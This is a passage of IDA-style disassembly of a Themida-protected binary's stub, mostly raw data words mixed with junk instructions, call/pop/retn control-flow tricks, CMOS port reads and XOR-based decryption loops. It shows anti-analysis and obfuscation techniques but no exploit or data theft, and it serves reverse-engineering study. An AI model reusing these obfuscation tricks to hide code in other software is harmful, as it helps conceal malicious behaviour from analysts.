		dd 0BD892404h, 6123305h, 8B66006Ah, 6A006AD9h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0B760C350h, 4BC4ABBCh, 0FD2DC6Bh, 0B70FDBB7h, 9B858DDEh
		dd 8B0616E6h, 12186D9Dh, 5C08306h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B8C35141h
		dd 0CDEC3E72h, 0D8A7085h, 90FB8BF9h, 5E8h, 92463500h, 5760FB60h
		dd 0C245B959h, 5B6179FEh, 0FB8B9050h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0FAE887C3h, 0D3DCBA1Ah, 0BF66E837h, 6A018Fh,	2B299589h
		dd 95FF0612h, 6120B55h,	9BCA8D8Dh, 6A0615h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 83F419C3h
		dd 0FF346E2Ch, 53006AD1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 528BE543h, 82DE7EACh
		dd 0BD83B26Eh, 6120EE9h, 9E850F01h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0CA25C351h, 561EE1C7h, 6678D38Fh, 0DF82D381h, 6A026Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 8A4273C3h, 0E6BC8467h, 0BD03F6F5h, 6123011h,	7CBB5090h
		dd 906D514Eh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	31C35040h, 41353DE4h, 6850F3Eh,	60000000h, 5E52C28Bh
		dd 0D595FF61h, 8B06122Ch, 6850FFAh, 8B000000h, 1215599Dh
		dd 0CE8E906h, 0E80000h,	5D000000h, 0E6A5ED81h, 6A0616h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0DC7141C3h, 9CC2CF50h, 27E5BD8Bh, 0BD8B0612h, 6121A55h
		dd 968F858Dh, 0BD2B0615h, 61228A1h, 50DBB70Fh, 800Fh, 4890000h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0AA3A1E1Dh, 0A9FBEF81h, 0BD036BD4h, 6122BF5h
		dd 35FF64h, 2B000000h, 121765BDh, 25896406h, 0
; ---------------------------------------------------------------------------
		xor	[ebp+612334Dh],	eax
		inc	dword ptr [ebp+6121235h]
		jmp	loc_5CA226
; ---------------------------------------------------------------------------
		db 5Fh,	0B2h, 0F2h
		dd 588218EFh
; ---------------------------------------------------------------------------
		jbe	short loc_5CA273


loc_5CA226:				; CODE XREF: Themida_:005CA218j
					; Themida_:loc_5CAE55j
		push	0FFFFFFFFh
		push	0
		push	eax
		call	sub_5CA233
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA233	proc near		; CODE XREF: Themida_:005CA22Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5CA233	endp

; ---------------------------------------------------------------------------
		db 0BBh
		dd 0F5CC9A6Fh, 0CEF6614h, 6860F47h, 89000000h, 121D0185h
		dd 0A5B5FF06h, 29061229h, 122789B5h, 49BD0106h,	0FF061230h
		dd 12147595h
		db 6, 0E9h, 25h
; ---------------------------------------------------------------------------


loc_5CA273:				; CODE XREF: Themida_:005CA224j
		add	[eax], eax
		add	[ecx+1216E5BDh], cl
		push	es
		mov	al, 0
		mov	bx, ax
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		sbb	ebx, 69E0D0FBh
		in	al, 71h		; CMOS Memory
		xor	bh, 0Dh
		cmp	al, 61h
		jnb	loc_5CA39B
		push	edx
		mov	ebx, [ebp+6121729h]
		pop	ebx
		movzx	ecx, al
		mov	ebx, [ebp+6122E69h]
		mov	edx, 6
		and	edi, 7FBBCE8Bh
		pusha
		mov	edx, [ebp+6122341h]
		xor	[ebp+6121809h],	edi
		popa
		mov	eax, ecx
		mov	ebx, [ebp+61219D9h]
		xor	[ebp+61211D9h],	edi
		shr	eax, 4
		mov	edi, 773397D3h
		mul	dx
		jmp	loc_5CA2E6
; ---------------------------------------------------------------------------
		dw 78DDh
		dd 168F73E7h
		db 27h,	3Bh
; ---------------------------------------------------------------------------


loc_5CA2E6:				; CODE XREF: Themida_:005CA2D9j
		jmp	loc_5CA2FE
; ---------------------------------------------------------------------------
		db 59h
		dd 0B616AC8Ah, 4340EF6Ah, 0EA1BE80h, 51C0CB2Ch
		db 0F9h, 29h
; ---------------------------------------------------------------------------


loc_5CA2FE:				; CODE XREF: Themida_:loc_5CA2E6j
		sub	ecx, eax
		jmp	loc_5CA314
; ---------------------------------------------------------------------------
		and	al, 6Ah
		add	eax, 0CB67D726h
		cmp	eax, 0D137B2C2h
		rcr	byte ptr [ebp+36h], 1


loc_5CA314:				; CODE XREF: Themida_:005CA300j
		mov	edx, ecx
		adc	bl, 0E2h
		jmp	loc_5CA39B
; ---------------------------------------------------------------------------
		mov	ebx, edi
		mov	eax, [ebp+5F4C4C44h]
		mov	edi, 794C5A7Ch
		add	ebx, [ebp+612163Dh]
		add	eax, 7
		mov	[ebp+6120885h],	esi
		add	eax, 0
		sub	ebx, 250B1B2Fh
		cmp	edx, eax
		jnb	loc_5CA362
		mov	[ebp+61203E1h],	edi
		jmp	loc_5CA39B
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6121389h]
		and	edi, [ebp+6120F4Dh]


loc_5CA362:				; CODE XREF: Themida_:005CA345j
		mov	ecx, [ebp-1]
		push	esi
		pop	edi
		and	ecx, 1
		jz	loc_5CA39B
		sbb	edi, 0BB05FC7h
		and	dword ptr [ebp-1], 0FFFFFFFEh
		jno	loc_5CA38C
		mov	[ebp+6122CB1h],	esi


loc_5CA38C:				; CODE XREF: Themida_:005CA380j
		mov	[ebp+5F4C4C44h], edx
		cmc
		movsx	edi, bx
		jmp	$+5


loc_5CA39B:				; CODE XREF: Themida_:005CA290j
					; Themida_:005CA319j ...
		lea	esi, [ebp+6166413h]
		push	0
		push	ecx
		call	sub_5CA3AC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA3AC	proc near		; CODE XREF: Themida_:005CA3A4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CA3AC	endp

; ---------------------------------------------------------------------------
		and	[ecx+270C4F58h], ah
		and	dword ptr [ecx-62746E11h], 6122A99h
		push	0
		and	ebx, 2D7FB9BCh
		call	dword ptr [ebp+61229D1h]
		push	0
		push	esi
		call	sub_5CA3E5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA3E5	proc near		; CODE XREF: Themida_:005CA3DDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5CA3E5	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		push	esp
		mov	edi, 1D9D8B9Ch
		adc	al, es:[esi]
		mov	ecx, 107Fh
		push	0
		push	ebx
		call	sub_5CA40F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA40F	proc near		; CODE XREF: Themida_:005CA407p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5CA40F	endp

; ---------------------------------------------------------------------------
		db 0Bh
		dd 29C55D59h, 0F91CFF5h, 830FDFBFh, 6, 0AC0FDB81h, 0E1831BA5h
		dd 68C0FFCh, 8B000000h,	1220C1BDh, 6AFC06h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 5C5918C3h
		dd 0DA8AB78Eh, 0B8h, 0EFBB6600h, 0BA2Dh, 10E80000h, 0A7000000h
		dd 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h, 89DBADE6h, 1221F18Dh
		dd 33AD5F06h, 3E8D1C2h,	4E983D0h, 8E8F475h, 8D000000h
		dd 8F06F149h, 2966E803h, 12161585h, 6A5B06h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 1FB27AC3h
		dd 6023E2E8h, 9198D01h,	0D610612h, 88h,	958BEAB3h, 6122DCDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A1C35141h
		dd 0E0B491BAh, 0D88B2E9Ch, 31BD8D8Bh, 8C0F0612h, 13h, 0EE9h
		dd 0AEBF9600h, 0E2844D1Ch, 8D3DAC67h, 0E9CF5E93h, 0Bh
		dd 6405607Ch, 0BFC105D7h, 50AB73E3h, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 85BD8958h, 8B061219h,	12217D9Dh
		dd 0E1858906h, 8306121Ch, 121419BDh, 840F0006h,	0CFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D4C35747h, 0B56EAFE7h
		dd 0B8458B06h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5CA59F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA59F	proc near		; CODE XREF: Themida_:005CA597p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5CA59F	endp

; ---------------------------------------------------------------------------
		db 0EAh
; ---------------------------------------------------------------------------
		jmp	loc_5CA5C6
; ---------------------------------------------------------------------------
		db 0A7h, 7Eh, 27h
		dd 0B5FD8353h, 0F494A953h, 3B2ADB5Ch
		db 0AFh, 72h
; ---------------------------------------------------------------------------


loc_5CA5C6:				; CODE XREF: Themida_:005CA5B0j
		lea	ecx, [ebp+6124E4Bh]
		push	0
		push	edx
		call	sub_5CA5D7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA5D7	proc near		; CODE XREF: Themida_:005CA5CFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CA5D7	endp

; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------
		mov	esi, 17698F4Ch
		mov	edx, 95016B7h
		mov	ch, 19h
		adc	edx, [edx]
		push	es
		pop	ebx
		pusha
		or	[ebp+6121CE9h],	ebx
		or	[ebp+61215B5h],	edi
		popa
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5CA613
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA613	proc near		; CODE XREF: Themida_:005CA60Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5CA613	endp

; ---------------------------------------------------------------------------
		cwde
		xchg	eax, ecx
		or	al, [ebp-12h]
		and	esp, ecx
		sub	ah, [esi]
		jo	loc_5CA635
		movzx	edi, dx


loc_5CA635:				; CODE XREF: Themida_:005CA62Cj
		xor	edi, [ebp+6121E45h]
		cmp	dword ptr [ebp+6120011h], 0
		jz	loc_5CAA98
		push	0
		push	ecx
		call	sub_5CA653
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA653	proc near		; CODE XREF: Themida_:005CA64Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5CA653	endp

; ---------------------------------------------------------------------------
		dec	edi
		rcr	dword ptr [eax], 1
		les	esp, [eax-77h]
		popf
		xchg	eax, ecx
		sbb	dl, [edx]
		push	es
		xor	ah, 3Ch
		popa
		cmp	dword ptr [ebp+6120011h], 1
		jz	loc_5CAAB3
		push	0
		push	esi
		call	sub_5CA68A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA68A	proc near		; CODE XREF: Themida_:005CA682p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5CA68A	endp

; ---------------------------------------------------------------------------
		ror	dword ptr ds:723A1628h,	cl
		cmp	[ebx-3A627636h], bh
		push	ss
		adc	al, [esi]
		mov	[ebp+6122E39h],	esi
		cmp	dword ptr [ebp+6120011h], 3
		jbe	loc_5CAA7D
		mov	ebx, edi
		pusha
		add	ebx, [ebp+6122A9Dh]
		mov	cx, ds
		mov	edi, [ebp+6121CF5h]
		sub	[ebp+61231B5h],	eax
		and	cl, 4
		push	0
		push	ebp
		call	sub_5CA6E2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA6E2	proc near		; CODE XREF: Themida_:005CA6DAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CA6E2	endp

; ---------------------------------------------------------------------------
		dw 0C9F2h
		dd 0BDBF66F9h, 0FC90A43h, 14384h, 8BFA8B00h, 1224CD85h
		dd 9D8B5306h, 6122CB1h,	8D85335Bh, 0F061224h, 5050D8B7h
		dd 0BB666052h, 0F61D252h, 9E95631h, 0FC000000h,	8F5BDE29h
		dd 494BB20Eh, 89585A5Fh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 4EA61CC3h, 29E8B002h
		dd 1219C595h, 0C89ABB06h, 7E95935h, 0F4000000h,	9B57A862h
		dd 6AA47Fh, 0A6EF27BBh,	4E851h,	3FF0000h, 0E960001Fh, 8
		dd 0A6B95F21h, 0C0C63281h, 59535250h, 0CE8310Fh, 0FD000000h
		dd 439874E1h, 0AD0D7618h, 5A7314F0h, 5061585Ah,	424448Bh
		dd 0D382BABBh, 66008B7Bh, 89B557BBh, 66042444h,	58165EBFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 59C35242h
		dd 0F73EABDh, 0C8Bh, 6800F00h, 9000000h, 1216D185h, 3195FF06h
		dd 6A061230h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0C0A7C357h, 0D98B661Dh, 2AA1B589h
		dd 85890612h, 615BD0Ch,	0E94CD780h, 1DFh, 0FE9h, 0E1BB6500h
		dd 7B77AD4Ah, 62834242h, 1D63DFADh, 0BD04858Bh,	6A0615h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 9EEFA8C3h, 8859D2Bh,	0C70612h, 18h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 8C35343h, 0FDB109B4h, 89B62CEBh
		dd 1219C5B5h, 8B58B06h,	6A0615BDh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 45ECC355h
		dd 8B389710h, 12239985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0CB8151D0h, 5043FDD6h
		dd 0F06895Fh, 683h, 51BD8B00h, 8B061225h, 1224CD85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0D0672615h, 0FA8B6613h, 89044689h, 1226C195h, 0E8605006h
		dd 0Fh,	0BF13AA1Ah, 19733905h, 24EA61Ch, 608DE8B0h, 810F5A61h
		dd 10h,	0AE8h, 5851B100h, 5537165Fh, 5E1BFBC0h,	24348961h
		dd 1F619D09h, 9D8B0612h, 6122FB5h, 0BD04B5FFh, 81660615h
		dd 0E8F0DFC3h, 4, 1F03FFh, 7F7824BBh, 830F5076h, 3, 8BF88B66h
		dd 66042444h, 8B0480BFh, 24448900h, 0DE8B6604h,	51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 665DBB31h, 4295DB81h, 0BD0C858Dh, 95090615h,	6120C45h
		dd 45BF6690h, 6A90507Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0D9F4C356h,	9FFBB422h
		dd 0BD8B1F88h, 61212CDh, 303195FFh, 8B660612h, 0D9D8BFEh
		dd 6106122Ah, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	73C35646h, 849C1622h, 1185C7h, 30612h, 81660000h
		dd 833546D7h, 15BD0CBDh, 840F0006h, 31h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 9DC35242h, 0E1BEC0F2h
		dd 1A098589h, 21E90612h, 8B000000h, 120B699Dh
; ---------------------------------------------------------------------------
		push	es


loc_5CAA7D:				; CODE XREF: Themida_:005CA6B6j
					; Themida_:005CAA94j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CAA7D
		jmp	short loc_5CAACE
; ---------------------------------------------------------------------------


loc_5CAA98:				; CODE XREF: Themida_:005CA642j
					; Themida_:005CAAAFj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CAA98
		jmp	short loc_5CAACE
; ---------------------------------------------------------------------------


loc_5CAAB3:				; CODE XREF: Themida_:005CA679j
					; Themida_:005CAACAj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CAAB3
		jmp	short $+2


loc_5CAACE:				; CODE XREF: Themida_:005CAA96j
					; Themida_:005CAAB1j
		mov	eax, eax
		mov	edi, [ebp+6122959h]
		jp	loc_5CAAE2
		and	ebx, 24465EF5h


loc_5CAAE2:				; CODE XREF: Themida_:005CAAD6j
		cmp	dword ptr [ebp+6120011h], 3
		jnz	loc_5CAE55
		cmp	dword ptr [ebp+615BD0Ch], 0
		jz	loc_5CAE55
		jmp	loc_5CAB0C
; ---------------------------------------------------------------------------
		db 97h,	7Eh, 97h
		dd 0B7C58B86h, 0DF66048Bh
; ---------------------------------------------------------------------------


loc_5CAB0C:				; CODE XREF: Themida_:005CAAFCj
		push	dword ptr [ebp+615BD0Ch]
		jmp	loc_5CAB20
; ---------------------------------------------------------------------------
		db 6Ch
		dd 0EAB76E01h, 81897225h
; ---------------------------------------------------------------------------


loc_5CAB20:				; CODE XREF: Themida_:005CAB12j
		call	dword ptr [ebp+6122029h]
		push	0
		push	ecx
		call	sub_5CAB31
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAB31	proc near		; CODE XREF: Themida_:005CAB29p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5CAB31	endp

; ---------------------------------------------------------------------------
		test	byte ptr [ebx-287E99CAh], 0BAh
		mov	eax, ds:0BD00B58Bh
		adc	eax, 51006A06h
		call	sub_5CAB5A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAB5A	proc near		; CODE XREF: Themida_:005CAB52p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5CAB5A	endp

; ---------------------------------------------------------------------------
		jnb	short near ptr loc_5CAB8B+5
		sbb	eax, 9501B2C9h
		icebp
		and	dl, [edx]
		push	es
		mov	dword ptr [esi], 10001h
		push	0
		push	ebx
		call	sub_5CAB86
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAB86	proc near		; CODE XREF: Themida_:005CAB7Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx


loc_5CAB8B:				; CODE XREF: Themida_:005CAB6Aj
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5CAB86	endp

; ---------------------------------------------------------------------------
		jo	short near ptr loc_5CABDE+7
		nop
		push	ds
		aaa
		dec	ebp
		jge	short near ptr byte_5CABFB
		rcl	dword ptr [esi-727669B0h], 9Dh
		or	edx, [edx]
		push	es
		sub	[ebp+6122F35h],	ecx
		push	dword ptr [ebp+615BD0Ch]
		stc
		call	dword ptr [ebp+6121AE1h]
		clc
		mov	esi, [ebp+615BD00h]
		add	ebx, [ebp+6123021h]
		mov	eax, [ebp+6123039h]
		push	0
		push	edi
		call	sub_5CABD9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CABD9	proc near		; CODE XREF: Themida_:005CABD1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi


loc_5CABDE:				; CODE XREF: Themida_:005CAB96j
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5CABD9	endp

; ---------------------------------------------------------------------------
		db 0FCh, 0B8h, 0Fh
		dd 682h, 61BD2300h, 89061221h
		db 86h,	0C4h, 0
byte_5CABFB	db 0			; CODE XREF: Themida_:005CAB9Cj
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0ED07A31Ah, 25459D23h, 0C3810612h, 50A6B12Eh
		dd 2DCD958Bh, 0E9500612h, 9, 8CF211F2h,	2CC835AAh, 0C2835FFDh
		dd 8E904h, 2A560000h, 67B69D28h, 50895F20h, 51858920h
		dd 8D061223h, 15D0EA85h, 0C8A0F06h, 0F000000h, 681h, 659D8B00h
		dd 89061230h, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0E4044E4h, 0CA73D45Dh
		dd 57006A25h, 99850160h, 8B061210h, 1200D18Dh, 895B6106h
		dd 1228E185h, 0CB5FF06h, 0FC0615BDh, 2CD595FFh,	880F0612h
		dd 2, 8B96D98Bh, 0BE850FEh, 0FF000000h,	1D330446h, 0DCE9900Eh
		dd 965B2668h, 2810Fh, 0DE8B0000h, 0BD0CB5FFh, 8D890615h
		dd 6121331h, 2E2995FFh,	6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 26DCFFC3h, 0E9FA8B66h
		dd 11h,	0F0011691h, 864A0078h, 0AAE69B80h, 0A85A3BD7h
		dd 89BD837Fh, 61211h, 38840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 1B358FC3h
		dd 499F02D7h, 8A0F5096h, 2, 8996D98Bh, 1200899Dh, 7D4DBF06h
		dd 0B5FF3667h, 615BD0Ch, 1B3D9D8Bh, 95FF0612h, 6122AA5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0DCC35040h
		dd 9333D2DAh, 43CF81A4h, 0FF1E5DBCh, 15BD0CB5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 9DBD8968h, 89061213h, 1217D195h, 0B195FF06h,	6A06121Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 785BC353h, 56009445h, 0F51B309h, 835FD9B7h
		dd 122A41BDh, 840F0206h, 34h, 0FF4DBB66h, 18A9858Bh, 0DE8B0612h
		dd 6A0000C6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 90C2C350h, 0F5481D1Dh,	0FE26DA98h
		dd 30185C7h, 612h, 0BF0F0000h
		db 0FEh
; ---------------------------------------------------------------------------


loc_5CAE55:				; CODE XREF: Themida_:005CAAE9j
					; Themida_:005CAAF6j
		jmp	loc_5CA226
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6121FD1h]
		mov	eax, ecx
		jmp	loc_5CAE79
; ---------------------------------------------------------------------------
		db 8Fh
		dd 6E4503h, 3 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5CAE79:				; CODE XREF: Themida_:005CAE62j
		jmp	loc_5CB408
; ---------------------------------------------------------------------------
		dw 0C3CEh
		dd 2666FF4Ch, 87039CE9h, 0EDA23B88h, 513CD522h,	348171BEh
		dd 0EF3CD3BAh, 8DDA3556h, 26739CF4h, 0C10E018Dh, 0F79098E7h
		dd 844DF652h, 0B7D790A7h, 7297C558h, 0F5BEF31Ch, 0D600B998h
		dd 937A63F6h, 1740C774h, 81ECECC8h, 1CF39B34h, 0F3FC0E7h
		dd 0E233E74Eh, 0B1DDEE81h, 1A65DCA0h, 40AB0909h, 0C54A420Bh
		dd 0D9404D06h, 512459B6h, 1FDEB1E6h, 0E00E7017h, 75081347h
		dd 0FBE6FA90h, 26851192h, 0D2EDE271h, 0AF602E3Fh, 48C7C962h
		dd 0EE210889h, 0F720EF9Dh, 0E87BCD39h, 0DB3E52EBh, 0E52A65B4h
		dd 772DDB0h, 8C94ABD2h,	47DFD2FBh, 6F1C7D88h, 8FFC0DA0h
		dd 9840C180h, 339B5EA7h, 0F9A18619h, 4F6769EAh,	88702C8Fh
		dd 0AD38A9F5h, 46DF2CE3h, 4F08C748h, 5C41D43Bh,	27ACB435h
		dd 69214B4Ah, 0F98C8308h, 0E026F599h, 5D16A547h, 0FD49DC33h
		dd 39D5ADE4h, 730222BCh, 54000000h, 0BEF31C72h,	0DF5FE7A6h
		dd 52BDD347h, 0D43B541Dh, 0A53CC09Fh, 9051BD40h, 0BCFE99F9h
		dd 14E22h, 72A00000h, 99C0F51Ah, 600D7A82h, 636E47DFh
		dd 42CDBFD0h, 315A0283h, 0CC8CE89Ch, 48B5439h, 2C40D60Bh
		dd 6923DCB5h, 0B9E71A6h, 307D92FAh, 6E22F797h, 99DB6CA1h
		dd 17B05D08h, 6F2E9904h, 1E375058h, 0F0B347E0h,	0E9AB06C5h
		dd 0D3667109h, 5B1420D6h, 0D6A9DE31h, 61F41B75h, 9DD23D50h
		dd 3ED1BD76h, 92A33609h, 1E015FAh, 722B647Dh, 4D5EF11Eh
		dd 0E982CF40h, 94AB6AA5h, 0DF5FFB8Ch, 0EA7D8847h, 0C14E3C05h
		dd 0CCD4EB02h, 47DF5FBBh, 7A0DBDC8h, 947DF5Fh, 0F6866BFEh
		dd 5E0F36B7h, 1298A2E7h, 0D7AE337Fh, 22BCC38Fh,	7D1Ch
		dd 0FD146E00h, 0DF5F92F5h, 53E6F147h, 8FC44B42h, 0EFF7C4C6h
		dd 47DF5F98h, 4075E0EBh, 0A04B96AAh, 3CD522EDh,	0C089BE51h
		dd 420B40CFh, 0C48DC24Dh, 490E43CCh, 6F974C95h,	0EFF78E53h
		dd 0CF22BCFCh, 0C7DC7516h, 0F46C2F6Dh, 484ADD48h, 4Ch
		dd 1FF0A059h, 0D6B617EAh, 9E310439h, 0F41B7270h, 759AF6BFh
		dd 0F9167740h, 7B94FBC4h, 7B127346h, 0B5C95F94h, 0DE22B72Ch
		dd 6AA5E803h, 5B14671Dh, 0D8ABE02Fh, 0B7583445h, 60246A82h
		dd 0C7847DFh, 0FEC6BED5h, 11322BCh, 65000000h, 38F71872h
		dd 0A3AB107Fh, 47DF5FE4h, 0EC218C97h, 7AA18619h, 0C9C32DF9h
		dd 8C1F4995h, 8606137Bh, 43356089h, 0ACDE08C1h,	0C2C98241h
		dd 0B245184Dh, 8F8A04CDh, 8DB10FFh, 0EB9F689Dh,	0AEF2EF24h
		dd 826EAE33h, 206D265Fh, 9FF1BAEFh, 0FD683B70h,	0DE31596Ah
		dd 8700081Fh, 0F447DFE3h, 0FC5956E9h, 474F0EF3h, 49F207B7h
		dd 0FA13C58Eh, 7DDE37E3h, 7A14DD12h, 98514895h,	0A26D23F6h
		dd 0FA2F9A6Dh, 46C9C627h, 65ECA2B3h, 4B3113C5h,	0A7FBAB77h
		dd 791B90B9h, 7E4A3D45h, 2E394DF1h, 0B2358C3h, 4DF17E82h
		dd 0C621C004h, 61FA47C8h, 0E4ADE22Dh, 513065AAh, 0B5D914CDh
		dd 0B8180D5Ah, 6D24AEE1h, 129h,	0C0A5AEBFh, 7729F901h
		dd 91449F1h, 1EFB914Ah,	976A9F70h, 0EBB4992Ch, 861F6CA3h
		dd 9D20708h, 8C558A85h,	0ED70C03h, 0B2B0D081h, 0ECCCC846h
		dd 0B834C81h, 1FC2D604h, 859C43BAh, 0F1D30A7Dh,	0DB6E794Dh
		dd 0F797528Fh, 0BDD4CB18h, 0F1D2D2B5h, 4A52B14Dh, 4DF1D33Dh
		dd 35C8333Eh, 0AE8DC8C8h, 481D24h, 752E0000h, 0B253371Ah
		dd 561AFA3h, 0AED9079Ah, 0F800BFA4h, 0C7DF5F6Fh, 344C818Ch
		dd 0C7DF5E53h, 0FB2AB76Bh, 3D4504F1h, 47DF5E2Ah, 95F2FA59h
		dd 0E647DF5Fh, 0FB66A9E5h, 354C4390h, 0DF5F5A2Dh, 8B1E2947h
		dd 7C7Ch, 0A5AEE600h, 55F901C0h, 0B049F181h, 0FA2FE0AFh
		dd 44FDBC27h, 4F34C748h, 0BA070886h, 6DA26D21h,	0F1883755h
